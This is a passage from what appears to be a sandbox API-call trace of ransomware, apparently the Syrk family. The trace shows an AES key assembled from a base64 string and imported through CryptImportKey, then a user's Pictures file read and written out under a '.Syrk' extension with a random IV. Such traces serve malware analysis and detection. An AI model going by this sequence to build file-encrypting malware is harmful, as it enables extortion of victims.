(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0253.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0253.541] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.541] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0253.541] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0253.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0253.541] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.541] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0253.541] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0253.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0253.541] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.541] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0253.541] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0253.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0253.542] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.542] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0253.542] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0253.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0253.542] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.542] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0253.542] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0253.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0253.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0253.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0253.543] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.543] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0253.543] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0253.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0253.543] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.543] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0253.543] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0253.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0253.544] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.544] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0253.544] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0253.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0253.544] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.544] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0253.544] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0253.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0253.544] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0253.545] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0253.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0253.545] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0253.545] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0253.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0253.545] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0253.545] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0253.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0253.545] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.546] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0253.546] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0253.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0253.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0253.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0253.546] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.547] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0253.547] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0253.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0253.547] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.547] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0253.547] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0253.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0253.547] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.547] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0253.547] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0253.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0253.547] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0253.548] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0253.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0253.548] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0253.548] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0253.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0253.548] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0253.548] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0253.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0253.549] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0253.549] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0253.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0253.549] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0253.549] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0253.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0253.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0253.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0253.550] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0253.550] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0253.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0253.550] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0253.550] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0253.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0253.551] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0253.551] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0253.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0253.551] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0253.551] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.551] EtwEventActivityIdControl () returned 0x0 [0253.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0253.551] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0253.552] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0253.617] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0253.619] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x23b3a90*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99ae0) returned 1 [0253.619] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.619] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.619] EtwEventActivityIdControl () returned 0x0 [0253.619] EtwEventActivityIdControl () returned 0x0 [0253.619] EtwEventActivityIdControl () returned 0x0 [0253.625] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp")) returned 0x20 [0253.626] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp")) returned 0x20 [0253.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.627] EtwEventActivityIdControl () returned 0x0 [0253.627] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.627] EtwEventActivityIdControl () returned 0x0 [0253.627] EtwEventActivityIdControl () returned 0x0 [0253.627] EtwEventActivityIdControl () returned 0x0 [0253.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0253.693] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0253.693] GetFileType (hFile=0x364) returned 0x1 [0253.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0253.693] GetFileType (hFile=0x364) returned 0x1 [0253.694] EtwEventActivityIdControl () returned 0x0 [0253.694] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.694] EtwEventActivityIdControl () returned 0x0 [0253.694] EtwEventActivityIdControl () returned 0x0 [0253.694] EtwEventActivityIdControl () returned 0x0 [0253.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0253.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk", lpFilePart=0x0) returned 0x37 [0253.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0253.696] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0253.696] GetFileType (hFile=0x368) returned 0x1 [0253.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0253.696] GetFileType (hFile=0x368) returned 0x1 [0253.696] EtwEventActivityIdControl () returned 0x0 [0253.696] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x23c4a14 | out: pbBuffer=0x23c4a14) returned 1 [0253.697] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.698] CryptDuplicateKey (in: hKey=0x5c99ae0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0253.698] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.698] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x23c5d40*=0x1, dwFlags=0x0) returned 1 [0253.698] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x23c5d0c, dwFlags=0x0) returned 1 [0253.698] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.698] EtwEventActivityIdControl () returned 0x0 [0253.699] EtwEventActivityIdControl () returned 0x0 